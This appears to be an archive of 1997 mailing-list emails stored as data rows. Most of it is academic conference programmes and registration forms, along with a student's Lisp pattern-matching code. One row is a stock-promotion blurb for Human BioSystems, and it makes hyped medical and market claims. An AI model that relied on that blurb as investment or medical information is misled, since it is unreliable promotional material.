Graph-Theoretic Concepts in Computer Science (WG'97) Berlin, June 18 - 20, 1997 Attached is the complete programme and the registration form of WG'97, the 23rd International Workshop on GRAPH-THEORETIC CONCEPTS IN COMPUTER SCIENCE. The Workshop is held June 18-20, 1997 in Berlin, Germany. Everybody can register, but, due to limitations of the conference site, the number of non-speakers is limited to about 70. These places will be assigned on a first-come first-served basis. Registration deadline is June 1, 1997. After that, rooms will be no longer available. To register, simply send an e-mail with the specified subject to: wg97@math.TU-Berlin.DE Subject: REGISTRATION or use the form at the end of this mail. More information about the workshop (getting there, abstracts of lectures, social programme) is or will be available via WWW at URL http://www.math.TU-Berlin.DE/~wg97 We look forward to seeing you at WG'97. Sincerely, Rolf Moehring Chairman WG'97 ++++++++++++++++++++++++ WG'97 programme ++++++++++++++++++++++++++++++++ Tuesday, June 17, 1997 14:00 Opening of the conference office 18:30 Welcoming reception (including dinner) ============================================================= Wednesday, June 18, 1997 Session 1: 9:00 -- 11:00 Chair: Lefteris Kirousis 9:00 Thorup, Mikkel ""Structured Programs have Small Tree-Width and Good Register Allocation"" 9:30 Skodinis, Konstantin ""The Bounded Tree-Width Problem of Context-Free Graph Languages"" 10:00 Broersma, H. J.; Dahlhaus, Elias; Kloks, Ton ""Algorithms for the Treewidth and Minimum Fill-in of HHD-free Graphs"" 10:30 de Fluiter, Babette; Bodlaender, Hans L. ""Parallel Algorithms for Treewidth Two"" **** Coffee break 11:00 -11:30 ******************************** Session 2: 11:30 -- 13:00 Chair: Ernst W. Mayr 11:30 Babel, Luitpold; Woeginger, Gerhard J. ""Pseudo-Hamiltonian Graphs"" 12:00 Dragan, Feodor F. ""On Greedy Matching Ordering and Greedy Matched Graphs"" 12:30 Bertoni, Alberto; Campadelli, Paola; Posenato, Roberto ""An Upper Bound of the Maximum Cut Mean"" ***** Lunch 13:00 -15:00 ************************************* Session 3: 15:00 -- 16:00 (invited talk) Chair: Rolf H. Moehring 15:00 David Williamson ""Gadgets, Approximation, and Linear Programming: Improving Hardness Results for Cut and Satisfiability Problems"" **** Coffee break 16:00 -16:30 ****************************** Session 4: 16:30 -- 18:00 Chair: Alberto Marchetti-Spaccamela 16:30 Alimonti, Paola ""Non-oblivious Local Search for MAX 2-CCSP with Application to MAX DICUT"" 17:00 Erlebach, Thomas; Jansen, Klaus ""Off-line and On-line Call-Scheduling in Stars and Trees"" 17:30 Mosbah, M. ""A Syntactic Approach to Random Walks on Graphs"" ********* Dinner 19:00 *************************************** ============================================================= Thursday, June 19, 1997 Session 5: 9:00 -- 11:00 Chair: Hans L. Bodlaender 9:00 Kratochvil, Jan; Proskurowksi, Andrzej; Telle, Jan Arne ""Complexity of Colored Graph Covers."" 9:30 Capelle, Christian ""Block Decomposition of Inheritance Hierarchies"" 10:00 Kloks, Ton; Kratsch, Dieter; M""uller, Haiko ""Asteroidal Sets in Graphs"" 10:30 Babel, Luitpold; Olariu, Stephan ""On the Separable-Homogeneous Decomposition of Graphs"" **** Coffee break 11:00 -11:30 ******************************** Session 6: 11:30 -- 13:30 Chair: Peter Widmayer 11:30 Alt, Helmut; Fuchs Ulrich; Kriegel, Klaus ""On the Number of Simple Cycles in Planar Graphs"" 12:00 Brandes, Ulrik; Handke, Dagmar ""NP-Completeness Results for Minimum Planar Spanners"" 12:30 Dinitz, Yefim; Feighelstein, Marcelo; Zaks, Shmuel ""On Optimal Graphs Embedded into Paths and Rings, with Analysis Using l_1-Spheres"" 13:00 Sampels, Michael ""Large Networks with Small Diameter"" ***** Lunch 13:30 -15:00 ************************************* 15:00 Social Event & Conference Diner ============================================================= Friday, June 20, 1997 Session 7: 9:00 -- 11:00 Chair: Ondrej Sykora 9:00 Brandt, Stephan ""Computing the Independence Number of Dense Triangle-free Graphs"" 9:30 Hlineny, Petr; Kratochvil, Jan ""Computational Complexity of the Krausz Dimension of Graphs"" 10:00 Bertet, Karell; Gustedt, Jens; Morvan, Michel ""Weak-Order Extensions of an Order"" 10:30 Prisner, Erich ""Bicliques in Graphs II: Recognizing k-path Graphs and Underlying Graphs of Line Digraphs"" **** Coffee break 11:00 -11:30 ******************************** Session 8: 11:30 -- 13:00 Chair: Michel Habib 11:30 d'Amore, Fabrizio; Iacobini, Fabio ""On-line Algorithms for Networks of Temporal Constraints"" 12:00 Bermond, Jean-Claude; Di Ianni, Miriam; Flammini, Michele ""Acyclic Orientations for Deadlock Prevention in Interconnection Networks"" 12:30 Wada, Koichi; Chen, Wei; Luo, Yupin; Kawaguchi, Kimio ""Optimal Fault-tolerant ATM-Routings for Biconnected Graphs"" ***** Lunch 13:00 -15:00 ************************************* Session 9: 15:00 -- 16:30 Chair: Giorgio Ausiello 15:00 Dahlhaus, Elias ""Minimal Elimination Ordering Inside a Given Chordal Graph"" 15:30 Vos, Tanja E. J.; Swierstra, S. D. ""Make Your Enemies Transparant."" 16:00 Uehara, Ryuhei ""A Measure of Parallelization for the Lexicographically First Maximal Subgraph Problem"" =============16:30 End of the WG'97===================================== ++++++++++++++++++ End of WG'97 programme ++++++++++++++++++++++++++++++++ PROGRAM COMMITTEE =================== G. Ausiello, Roma (I) R. Moehring, Berlin (D), chair H. Bodlaender, Utrecht (NL) M. Nagl, Aachen (D) M. Habib, Montpellier (F) H. Noltemeier, Wuerzburg (D) L. Kirousis, Patras (GR) O. Sykora, Bratislava (SK) L. Kucera, Praha (CR) G. Tinhofer, Munich (D) A. Marchetti-Spaccamela, Roma (I) D. Wagner, Konstanz (D) E. Mayr, Munich (D) P. Widmayer, Zurich (CH) ORGANIZING COMMITTEE ==================== Ewgenij Gawrilow Stephan Hartmann Sabine Marcus Rolf H. Moehring CONTACT ADDRESS =============== Tel.: +49-30-31425728 (Sabine Marcus) Fax: +49-30-31425191 (attention of WG'97) E-Mail: wg97@math.TU-Berlin.DE Subject: INFO URL: http://www.math.TU-Berlin.DE/~wg97 ++++++++++++++++++ Registration form of WG'97 +++++++++++++++++++++++++++++ ********************************************************************** WG'97 June 18 - 20, 1997 - REGISTRATION FORM ********************************************************************** Please complete the form below and return to the WG'97 Workshop office via e-mail (wg97@math.TU-Berlin.DE) with the subject line ""REGISTER"", or via fax (Fax No. +49-30-31425191) to the attention of WG'97. LAST-NAME: FIRST-NAME: NAME FOR BADGE: COMPANY OR INSTITUTION: MAILING ADDRESS: ZIP: CITY: COUNTRY: TELEPHONE NO: FAX NO.: E-MAIL ADDRESS: DATE OF ARRIVAL [dd.mm.yy]: DATE OF DEPARTURE [dd.mm.yy]: ACCOMMODATION: Accommodation is in single rooms and it is included in the registration fee of DM 500. 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Typical topics of the workshop include (but are not limited to): - Semantics of programs - Programming logics - Program verification - Formal specification of programs - Program synthesis - Program transformation and program refinement - Real-time and hybrid systems - Modeling of concurrency - Programming methods - Tools for program construction and verification INVITED SPEAKERS: Martin Wirsing http://www.pst.informatic.uni-muenchen.de/personen/wirsing/wirsin-e.html Jozef Hooman http://www.win.tue.nl/win/cs/tt/hooman/JH.html Reinhard Wilhelm http://www.cs.uni-sb.de/RW/users/wilhelm/wilhelm.html Enn Tyugu http://www.it.kth.se/~tyugu WORKSHOP PLACE: The workshop is organized by the Institute of Cybernetics and will be starting Wednesday morning, 15 October 1997, and ending mid-afternoon, Friday, 17 October 1997. The meetings will be at the Institute of Cybernetics, Akadeemia tee 21, Tallinn. Tallinn is the capital of Estonia and it is famous for its beautiful Old City. PARTICIPATION: More information and registration form is available on the Web, under http://jus.ioc.ee/jus/nwpt97/ N.B. Attendance at the workshop is limited to 70 participants: register early to ensure a place! Registrations will be accepted on a first-come-first-served basis. SUBMISSION: If you wish to give a presentation, please enclose a one-page abstract of the talk (LaTeX or PostScript). In the event that the number of proposed talks exceeds the number of slots available, the Programme Committee will make a selection, based on the submitted abstracts. The programme for the workshop will be available by 1 October. (Those who submit abstracts that are not selected for presentation will be able to cancel their registration and obtain a refund of the fees.) IMPORTANT DATES: September 10th - submission of abstracts September 20th - notification of acceptance October 15th -17th - WORKSHOP MORE INFORMATION: WWW: http://jus.ioc.ee/jus/nwpt97/ This includes accommodation, local travel, and tourist information. E-mail: nwpt97@jus.ioc.ee Fax: +372 6 397 042 Mail: NWPT'97 Institute of Cybernetics Akadeemia tee 21 EE0026 Tallinn ESTONIA ",0,1 sirocco ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 10 Jun 1997 13:06:57 -0700",SIROCCO - Accepted Papers,"List of accepted papers ----------------------- About the local detection of termination of local computations in graphs Y. Metivier, A. Muscholl and P. Wacrenier An Empirical Study of ``Lazy'' Protocols for Routing Information in Dynamic Networks F. Annexstein and C. Giannella An $\\Omega (n^2)$-Lower Bound for Space-Efficiency of Routing Schemes of Stretch Factor Three C. Gavoille and M. Gengler An optimal algorithm for broadcasting multiple messages in trees K. Diks, A. Lingas and A. Pelc An Optimal Lower Bound for Interval Routing in General Networks S.S.H. Tse and F.C.M. Lau Approximating Minimum Communication Spanning Trees D. Peleg Bandwidth Allocation Algorithms on Tree--Shaped All--Optical=20 Networks with Wavelength Converters V. Auletta, I. Caragiannis, C. Kaklamanis and G. Persiano Better Expanders and Superconcentrators by Kolmogorov Complexity U. Sch=F6ning Bounds for the On-line Multicast Problem in Directed Graphs M. Faloutsos, R. Pankaj and K.C. Sevcik Compact Routing on Chordal Rings L. Narayanan and J. Opatrny Computing Vector Functions on Anonymous Networks P. Boldi and S. Vigna Duality in Chain ATM Virtual Path Layouts M. Feighelstein and S. Zaks Embedding Tori in Partitioned Optical Passive Star Networks P.Berthome, J.Cohen, A.Ferreira Heuristics Algorithms for Personalized Communication Problems in Point-to-Point Networks P. Fraigniaud and S. Vial Linear broadcasting and N log log N election in unoriented hypercubes S. Dobrev and P. Ruzicka On Computing Nearly Optimal Multi-Tree Paths and $s,t$-Numberings F.S. Annexstein, K.A. Berman and R. Swaminathan Optimal gossip in noncombining 2D-meshes M. Soch and P. Tvrdik Size Bounds for Dynamic Monopolies D. Peleg Static Frequency Assignment in Cellular Networks L. Narayanan and S. Shende The Complexity of Characterization of Networks Supporting=20 Shortest-Path Interval Routing T. Eilam, S. Moran and S. Zaks ",0,0 David Rappaport ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 10 Jun 1997 13:08:20 -0700",CCCG '97 Call for Participation," The Ninth Canadian Conference on Computational Geometry Queen's University, Kingston, Ontario, CANADA August 11-14, 1997 Program and Registration Information. You can access all of the following information, and much more, by visiting our web site at: http://www.qucis.queensu.ca/cccg97/index.html A registration form is included at the end of this file. Program Committee David Avis, McGill University Prosenjit Bose, Universite du Quebec a Trois-Rivieres Henk Meijer, Queen's University David Rappaport, Queen's University (Conference Organizer) Tom Shermer, Simon Fraser University James Stewart, University of Toronto Cao an Wang, Memorial University Local Arrangements: S.G. Akl, N. Barker, R. Dawes, H. Meijer, D. Rappaport Invited Speakers J. Akiyama -- Tokai University W. Haken -- University of Illinois E. Fiume -- University of Toronto J. Mitchell -- SUNY Stony Brook PROGRAM Sunday, August 10 18:00-21:00 Reception and Registration at the University Club Monday, August 11 All technical sessions will be held in room 205 of Walter Light Hall. 08:45 Opening remarks Session MON1 09:00 Vertex pi-lights for monotone mountains Joseph O'Rourke 09:20 Constructing piecewise linear homeomorphisms of polygons with holes Rephael Wenger, Mark Babikov and Diane L. Souvaine 09:40 On folding rulers in regular polygons Sue Whitesides and Naixun Pei 09:40 On the number of internal and external visibility edges of polygons Jorge Urrutia 10:20 Break Session MON2 10:40 On a partition of point sets into convex polygons Masatsugu Urabe. 11:00 Domino tilings and two-by-two squares Jurek Czyzowicz, Evangelos Kranakis and Jorge Urrutia 11:20 Covering a set of points by two axis-parallel boxes Michael Segal and Sergei Bespamyatnikh 11:40 Encoding a triangulation as a permutation of its point set Markus O. Denny and Christian A. Sohler 12:00-14:00 Lunch Session MON3 Invited Talk 14:00 TBA Wolfgang Haken 15:00-15:10 Break Session MON4 15:10 A note on the tree graph of a set of points in the plane Eduardo Rivera-Campo and Virginia Urrutia-Galicia 15:30 A straight-line embedding of two or more rooted trees in the plane M. Kano 15:50 A balanced partition of points in the plane and tree embedding problems Atsushi Kaneko 16:10 Parallel algorithms for longest increasing chains in the plane and related problems Kevin S. Klenk, Mikhail J. Atallah and Danny Z. Chen 16:30-16:45 Break Session MON5 16:45 Open Problem Session. Tuesday, August 12. Session TUE1 09:00 Planar segment visibility graphs H. Everett, C. T. Ho�ng, K. Kilakos and M. Noy 09:20 The visibility graph contains a bounded-degree spanner Gautam Das 09:40 Contracted visibility graphs of line segments L. Gewali, J. Bagga, S. Dey, J. Emert and J. McGrew 10:00 Geometric matching problem of disjoint compact convex sets by line segments Kiyoshi Hosono and Katsumi Matsuda 10:20-10:40 Break Session TUE2 10:40 Handling rotations in the placement of curved convex polygons Fran�ois Rebufat 11:00 Almost optimal on-line search in unknown streets Evangelos Kranakis and Anthony Spatharis 11:20 An on-line algorithm for exploring an unknown polygonal environment by a point robot S. K. Ghosh and J. W. Burdick 11:40 Understanding discrete visibility and related approximation algorithms S. K. Ghosh and J. W. Burdick 12:00-14:00 Lunch Session TUE3 Invited Talk 14:00 Why Taro can do geometry Jin Akiyama 15:00-15:10 Break Session TUE4 15:10 A quantum-searching application note Ngoc-Minh L� 15:30 Some methods to determine the sign of a long integer from its remainders Toshiyuki Imai 15:50 A quadratic non-standard arithmetic Dominique Michelucci 09:40 Analysis of a class of k-dimensional merge procedures, with an application to 2D Delaunay triangulation in expected linear time after two-directional sorting Jean-Michel Moreau and Christophe Lemaire 16:30-16:45 Break 16:45 Business Meeting 18:30 Banquet at the Kingston Yacht Club. Wednesday, August 13 Session WED1 09:00 On-line searching in geometric trees Sven Schuierer 09:20 Biased search and k-point clustering Binay K. Bhattacharya and Hossam ElGindy 9:40 Walking in the visibility complex with applications to visibility polygons and dynamic visibility St�phane Rivi�re 10:00 The 3D visibility complex: A unified data-structure for global visibility of scenes of polygons and smooth objects Fredo Durand, George Drettakis and Claude Puech 10:20-10:40 Break Session WED2 10:40 The width of a convex set on the sphere C.I. Grima, F. J. Cobos, J. C. Dana and A. M�rquez 11:00 Diameter of a set on the cylinder C.I. Grima, F. J. Cobos, J. C. Dana and A. M�rquez 11:30 Testing roundness of a polytope and related problems Artur Fuhrmann 11:55 On hardness of roundness calculation Sergey P. Tarasov 12:00-14:00 Lunch Session WED3 Invited Talk 14:00 Applied geometry for computer graphics Eugene Fiume 15:00-15:10 Break Session WED4 15:10 Reconstruction of 3-D surface object from its pieces G�kt�rk ��oluk and Hakki Toroslu 15:30 Sampling and reconstructing manifolds using alpha-shapes Fausto Bernardini and Chandrajit L. Bajaj 15:50 Periodic B-spline surface skinning of anatomic shapes Fabrice Jaillet, Behzad Shariat and Denis Vandorpe 16:10 Shape reconstruction using skeleton-based implicit surface Serge Pontier, Behzad Shariat and Denis Vandorpe 16:30-16:45 Break Session WED5 Chair 16:45 Dynamizing domination queries in 2-dimensions: The paper stabbing problem revisited Michael G. Lamoureux, J. D. Horton and Bradford G. Nickerson 17:05 Fast piercing of iso-oriented rectangles Christos Makris and Athanasios Tsakalidis 17:25 Shooter location problems revisited Binhai Zhu and Cao An Wang Thursday, August 14 Session THU1 Invited Talk 09:00 Approximation algorithms for geometric optimization problems Joseph Mitchell Session THU2 10:00 Label placement by maximum independent set in rectangles Pankaj K. Agarwal, Mark van Kreveld and Subhash Suri 10:20 Easy triangle strips for TIN terrain models Jack Snoeyink and Bettina Speckmann 10:40 Partitioning algorithms for transportation graphs and their applications to routing Doug Ierardi and Cavit Aydin 11:00-11:20 Break Session THU3 11:20 Stability of Voronoi neighborship under perturbations of the sites Frank Weller 11:40 An iterative algorithm for the determination of Voronoi vertices in polygonal and non-polygonal domains Fran�ois Anton and Chrisopher Gold 12:00 Some tools for modeling and analysis of surfaces J�rgen Wirtgen, Carsten Dorgerloh, Jens L�ssem, and Morakot Pilouk 12:20 An increasing-circle sweep-algorithm to construct the Delaunay diagram in the plane D. Schmitt, B. Adam, P. Kauffmann and J.-C. Spehner End of conference. ACCOMMODATION Please note that the Canadian Olympic Training Regatta (CORK) will be held in Kingston from August 11 to August 24. This event draws thousands of visitors to the city and hotel rooms are consequently in great demand at that time. Reservations are STRONGLY ADVISED. CCCG '97 has arranged for a total of one hundred rooms in the conference hotels and residence, but these rooms will be released if not reserved by July 11. Quoted rates are in Canadian funds and do not include taxes. The principal residence for the Conference will be the Victoria Hall student residence (Queen's Crescent). 50 rooms have been reserved. For those who prefer hotel accommodation, 25 rooms have been reserved at the Ramada Inn. As well, a few rooms have been reserved in two of Kingston's bed & breakfast inns. These rooms will be released on July 12, if not taken up by then. Please state that you are part of the CCCG'97 conference when reserving your rooms. Some other hotels are also listed below for your convenience. Quoted rates are in Canadian funds (currently a Canadian dollar is worth about 0.75 U.S. dollars) and do not include taxes unless otherwise stated. Conference participants should contact residence or hotels directly, not through the Conference secretariat. If parking is required, please specify with your Victoria Hall reservation. Mention you are with the CCCG'97 conference Victoria Hall, Queen's Crescent, Kingston, Ont., Canada, K7L 3N6. All rooms $45.75 (tax included). (Double occupancy $55.46). Parking available - ask when reserving room. Breakfast included. Vegetarian meals available. Washrooms private but not in rooms. For reservations call 613-545-2223. FAX 613-545-6624. Please mention CCCG'97. E-mail: johnson@post.queensu.ca. Hochelaga Inn, 24 Sydenham St. South, Kingston, Ont., Canada, K7L 3G9. B&B rooms range from $90 to $120. Parking available. Breakfast included. Five minutes walk to campus. Phone or FAX 613-549-5534. Hotel Belvedere, 141 King St. East, Kingston, Ont., Canada, K7L 2Z9. Rooms range from $99 to $130. Parking available. Breakfast included. Ten minutes walk from campus. For reservations call 613-548-1565 or 1-800-559-0584. FAX 613-546-4692. Ramada Inn, 1 Johnson St., Kingston, Ont., Canada, K7L 5H7. Rates range from $99-$130. Indoor pool and sauna. All rooms a lake view. Coffee maker, mini-bar, and iron/board in each room. Fifteen minutes walk to campus. Reservations: 613-549-8100 or 1-800-272-6232. FAX: 613-547-3241. REGISTRATION INFORMATION Please pre-register using the form provided. Registration rates increase after July 11, 1997. Payment may be made by Visa or MasterCard (note that credit card payments will be processed in Canadian funds); payment may also be made by personal cheque in Canadian dollars drawn on a Canadian bank or by international money order or bank draft, which must be for Canadian dollars drawn on a Canadian bank. Cheques in other currencies cannot be accepted due to the excessive collection fees levied during the currency conversion process. Cheques and money orders should be made payable to Queen's University/CCCG'97. Fees are refundable, minus a $30 cancellation charge, provided a written request is received by the Conference Office no later than August 4, 1997. Full payment must accompany the registration form. Persons registering after July 11 may not receive the proceedings until after the workshop. Registration packages will be distributed at the Welcoming Reception. Hospitality information and late registration will also be available at the reception. After the workshop begins registration and information will be available at the technical session site in Walter Light Hall. The full registration fee includes a copy of the workshop proceedings, refreshments, the welcoming reception, admission to all invited talks and technical sessions and the conference banquet. A student registration fee is available which includes all items mentioned except the banquet. (Student registrations must be signed by the student's supervisor.) The one day registration fee includes neither a copy of the proceedings, nor a banquet ticket. Accompanying persons are welcome to attend all social functions. Additional banquet tickets may be purchased in advance or at the conference. Refunds for banquet tickets cannot be made after August 4, 1997. REGISTRATION FORM ---------------- cut here -------------------------------------------------- CCCG '97 CCCG '97 CCCG '97 CCCG '97 CCCG '97 CCCG '97 Registration Form MAIL OR FAX TO: CCCG '97, Department of Computing and Info. Science, Queen's University, Kingston, Ont., Canada, K7L 3N6 FAX 613-545-6513 Note: All prices are quoted in Canadian dollars. Carefully read the instructions before you complete the registration form. Type or print clearly: First Name_____________________________Last Name______________________________ Affiliation___________________________________________________________________ Street Address________________________________________________________________ City__________________________State or Province_______________________________ Country________________________Postal or Zip Code_____________________________ Telephone________________FAX________________Email____________________________ Supervisor's signature for student registration_______________________________ Registration fees (taxes included). Please circle items. By July 11 After July 11 Regular $200 $250 Student $120 $150 One-day $150 $150 Extra proceedings $20 $20 (subject to availability) Quantity ___ Extra banquet $40 $40 tickets Quantity ___ TOTAL AMOUNT ______________________________________$CAN Banquet: Regular___ Vegetarian___ Other(please specify)______________________ Registrants living outside Canada can apply for tax refunds. (Forms are available at the conference.) G.S.T. registration number is R107 868 705. Mode of payment: __VISA __MasterCard __cheque __money order __bank draft Credit card number__________________________________Expiry Date__________ I hereby authorize Queen's University to debit my credit card for the amount above. Signature of cardholder__________________________________________________ Make your cheque/money order/bank draft payable to Queen's University/CCCG '97. Please refer to the section titled REGISTRATION INFORMATION for more details. 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(OTCBB: HBSC) is a biomedical company that has developed and is now preparing to commercialize its proprietary technology to extend the shelf life of blood platelets, the congealing component of blood. The company is also commencing a comprehensive research program to increase the shelf life and quality of donor organs including hearts, kidneys, livers and lungs, and has recently filed two provisional patents covering its preservation solution and process.THE STORYHuman BioSystems, (OTC-BB:HBSC) has pioneered revolutionary technologies that may forever change both the blood banking and organ and tissue transplantation industries. Developed after many years of research into extending the preservation periods of biological materials, these cutting-edge technologies may soon be available to save potentially thousands of lives and hundreds of millions of dollars.Company:Human BioSystems, Inc. (OTCBB: HBSC)Symbol:HBSCShares I/O:75.3MMarket Cap:21.46 M10-Day Volume Average:250,630Shares Outstanding:75.3 MFloat:31.1 MWebsite: humanbiosystems.comBLOOD PLATELET PRESERVATIONWhy is this technology important? Cancer patients who undergo chemotherapy treatment cause damage to the platelet structure of the blood and its ability to produce platelets for a period of time. The result is a longer period of recovery from this treatment. HBS's proprietary technology should have the ability to provide longer shelf life for platelets allowing doctors to have available a larger, and healthier platelet inventory to help these patients to recover.Blood platelets are cellular blood components essential to the clotting process and critical in the treatment of cancer, organ transplantation and burns. Because platelets are highly susceptible to bacterial contamination and rapid loss of effectiveness, they currently have a United States Food and Drug Administration (FDA) mandated five-day shelf life. As a result, an estimated $700 million in blood platelets must be discarded without being used every year in the United States, Europe and Japan. This represents a significant financial loss to blood centers and hospitals.Longer preservation times will allow blood centers and hospitals to recover up to 90% or more of lost revenues.The company's goal is to prolong the shelf life of blood platelets from the FDA's five-day standard period to 10-14 days or longer. This would be a significant medical breakthrough that should increase the global availability of precious living biological materials needed to save human lives and hundreds of millions of dollars a year in medical costs.ORGAN PRESERVATION Why is this technology important?In the U.S. alone, more than 73,000-patients were on transplant waiting lists in 2001. Currently donor organs can only be preserved for extremely brief periods ranging from four to 36 hours, depending on the organ.The company believes its technology could extend the shelf life of organs from a few hours to days while maintaining the viability; quality and safety of organs vital to patients on transplant waiting lists.Patients receiving donor organs preserved by the company's preservation technology may benefit from decreased requirements for anti-rejection drugs. Current donor organ decisions must be made rapidly due to short shelf life, recipients often receive organs that are not an ideal match.By extending organ preservation time, transplant recipients can expect optimized transplant success since more time is available for organs to be more suitably matched and thereby lessening the immune response. It is not uncommon for transplant patients to pay up to $20,000 a year in anti-rejection drugs for the rest of their lives. This can represent billions of dollars in costs to insurance companies and governments that fund medical costs.RECENT SUCCESSES Over the past two years U.S. Patent Office has notified Human BioSystems (HBS) that it will issue a patent for organ preservation entitled ""METHODS AND SOLUTIONS FOR STORING DONOR ORGANS"" HBS now has two patents covering blood platelet preservation and biological material. HBS has been Awarded Patent for Blood Preservation HBS Announced Positive Test Results for Organ Preservation HBS Appointed New President - Dr. David Winter, M.D. HBS Announced Initial Survival Test Results - Much Better than European Gold Standard, HTK and UW INVESTMENT CONSIDERATIONS THE OUTLOOKWorking with two independent blood centers, the company simplified and improved its platelet storage technology and is now commencing human infusion studies.Human BioSystems plans to license both its platelet and organ preservation technology to one or more strategic alliance partners that have the capability to manufacture and distribute the company's proprietary solution to blood centers worldwide. Initial revenue from licensing is expected this year.The company estimates a multi-billion dollar market demand for its platelet and organ preservation system coupled with the post-transplant technology, once fully developed and commercialized. HBS is looking for additional products that are close to commercialization to add to its pipeline.THE TECHNOLOGYHuman BioSystems' proprietary preservation systems for initial products consist of non-toxic liquid solutions, proprietary protocols and solutions.The platelet system is designed to utilize and complement standard platelet collection and processing activities. Collected platelets are processed using Human BioSystems' proprietary preservation solution and intended to be packaged in FDA approved plastic storage bags.Instead of being stored in a rocking device at room temperature, as is current industry practice, the storage bags are cooled according to HBS protocol. The platelets are cooled to four degrees C and placed into standard blood refrigeration units for storage.The Company intends to show through human infusion studies that this process exhibits improvements in viability and longevity of the blood platelets when compared to standard platelets stored at room temperature. The Company also intends to demonstrate that HBS stored platelets exhibit minimal bacteria growth during the storage period when compared to current standards of platelet storage.The company's organ storage solution at refrigerated temperatures appears to be better than currently used solutions and is uniquely adaptable to use in sub-zero storage up to minus 80 degrees centigrade and lower. If further tests confirm the subzero results and FDA approval is granted, this could optimize donor/recipient matching and provide long-term storage of organs versus hours of storage under current methods available. The company has applied for patents covering the technologies and the processes outlined above. The company believes its technologies are readily applicable for preserving blood platelets and donor organs.MANAGEMENT Harry Masuda, - CEO - Former president of high tech company Piiceon, Inc. and founder of HK Microwave. He successfully negotiated acquisitions for both companies. David Winter, M.D., President - Previously President, GenPharm Intl., Sangstat, Human Organ Sciences and others. He was also the NASA Director of Life Sciences, where he directed all medical, biological, and biomedical -engineering for the U.S. space program. Dr. Winter led the development, registration and approval of cyclosporine and six other major components. Paul Okimoto, Board Chairman, EVP and co-founder, Previously president of Sanhill Systems. Expertise with high tech products in biological and biomedical fields. Luis Toledo, M.D., Ph.D., Chief Medical Officer. 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",1,1 Protima X Banerjee ,"hyr@cs.rpi.edu, selmer@rpi.edu","Sat, 21 Jun 1997 12:46:44 -0600",Project 3," Hi, I've been having the following problems with the match function when it is re-defined to use $ variables. First of all, it keeps giving me errors whenever the $ variable is at the begining of the list, but it is some- times okay if the $ variable is at the end of the list. When there are two $ variables, it makes the first one null, and allocates all the list to the second variable. I have no idea where this is going wrong, and how to start de-bugging it. I'm enclosing a copy of my code, please take a look at it and let me know if you can offer any hints. Thank you, Protima ;;; This function is called by match1 and tries to match the sequence ;;; variable with () and the rest of pat with the rest of the tree. (defun backtrack-match (v pat tree sqce pairs) ""This function is called by match1 and tries to match the sequence variable with () and the rest of the pat with the rest of the tree."" (cond ((null pat) (cons (list v (append sqce tree)) pairs)) ((match1 pat tree (cons (list v sqce) pairs))) ((null tree) nil) (t (backtrack-match v pat (rest tree) (append sqce (list (first tree))) pairs)))) ;;; Returns a list of pairs. Each pair contains a variable and its corresponging term. ;;; is returned if a single variable is associated with more than one terms, or ;;; if the lists do not match. This is the ""helper"" function for match. (defun match1 (pat lst pairs) ""Returns a list of pairs. Each pair contains a variable, and its corresponding term. Returns nil if a single variable is associated with more than one term, or if the lists do not match."" (check-type pat list) (check-type lst list) (check-type pairs list) (cond ((and (null pat) (null lst)) pairs) ((svariablep (first pat)) (backtrack-match (first pat) (rest pat) lst '() pairs)) ((listp (first pat)) (match1 (rest pat) (rest lst) (match1 (first pat) (first lst) pairs))) ((and (variablep (first pat)) (not (boundp (first pat) pairs))) (match1 (rest pat) (rest lst) (cons (list (first pat) (first lst)) pairs))) ((and (variablep (first pat)) (not (eql (bound-to (first pat) pairs) (first lst)))) nil) (t (match1 (rest pat) (rest lst) pairs)))) ;;; Returns a list of pairs. Each pair contains a variable and its corresponging term. ;;; is returned if a single variable is associated with more than one terms, or ;;; if the lists do not match. (defun match (pat lst) ""Returns a list of pairs. Each pair contains a variable, and its corresponding term. Returns nil if a single variable is associated with more than one term, or if the lists do not match."" (match1 pat lst ())) ",0,0 Protima X Banerjee ,"hyr@cs.rpi.edu, selmer@rpi.edu","Sat, 21 Jun 1997 13:07:33 -0600",Re: Project 3," Also, on that same note, I've also been taking a look at the read-eval-print loops for the I/O and in that area I'm not quite sure how to write rules. Could you explain this please? Thank you, Protima ______________________________ Reply Separator _________________________________ Subject: Project 3 Author: Protima X Banerjee at VF-B19-CC-P Date: 6/21/97 2:56 PM Hi, I've been having the following problems with the match function when it is re-defined to use $ variables. First of all, it keeps giving me errors whenever the $ variable is at the begining of the list, but it is some- times okay if the $ variable is at the end of the list. When there are two $ variables, it makes the first one null, and allocates all the list to the second variable. I have no idea where this is going wrong, and how to start de-bugging it. I'm enclosing a copy of my code, please take a look at it and let me know if you can offer any hints. Thank you, Protima ;;; This function is called by match1 and tries to match the sequence ;;; variable with () and the rest of pat with the rest of the tree. (defun backtrack-match (v pat tree sqce pairs) ""This function is called by match1 and tries to match the sequence variable with () and the rest of the pat with the rest of the tree."" (cond ((null pat) (cons (list v (append sqce tree)) pairs)) ((match1 pat tree (cons (list v sqce) pairs))) ((null tree) nil) (t (backtrack-match v pat (rest tree) (append sqce (list (first tree))) pairs)))) ;;; Returns a list of pairs. Each pair contains a variable and its corresponging term. ;;; is returned if a single variable is associated with more than one terms, or ;;; if the lists do not match. This is the ""helper"" function for match. (defun match1 (pat lst pairs) ""Returns a list of pairs. Each pair contains a variable, and its corresponding term. Returns nil if a single variable is associated with more than one term, or if the lists do not match."" (check-type pat list) (check-type lst list) (check-type pairs list) (cond ((and (null pat) (null lst)) pairs) ((svariablep (first pat)) (backtrack-match (first pat) (rest pat) lst '() pairs)) ((listp (first pat)) (match1 (rest pat) (rest lst) (match1 (first pat) (first lst) pairs))) ((and (variablep (first pat)) (not (boundp (first pat) pairs))) (match1 (rest pat) (rest lst) (cons (list (first pat) (first lst)) pairs))) ((and (variablep (first pat)) (not (eql (bound-to (first pat) pairs) (first lst)))) nil) (t (match1 (rest pat) (rest lst) pairs)))) ;;; Returns a list of pairs. Each pair contains a variable and its corresponging term. ;;; is returned if a single variable is associated with more than one terms, or ;;; if the lists do not match. (defun match (pat lst) ""Returns a list of pairs. Each pair contains a variable, and its corresponding term. Returns nil if a single variable is associated with more than one term, or if the lists do not match."" (match1 pat lst ())) ",0,0 Maria Paola Bonacina ,THEORYNT@LISTSERV.NODAK.EDU,"Tue, 24 Jun 1997 18:21:23 -0700",call for participation ISSAC-PASCO 97," C A L L F O R P A R T I C I P A T I O N (and early registration reminder) Federated I S S A C - P A S C O 1997 International Symposium on Symbolic and Algebraic Computation International Symposium on Parallel Symbolic Computation July 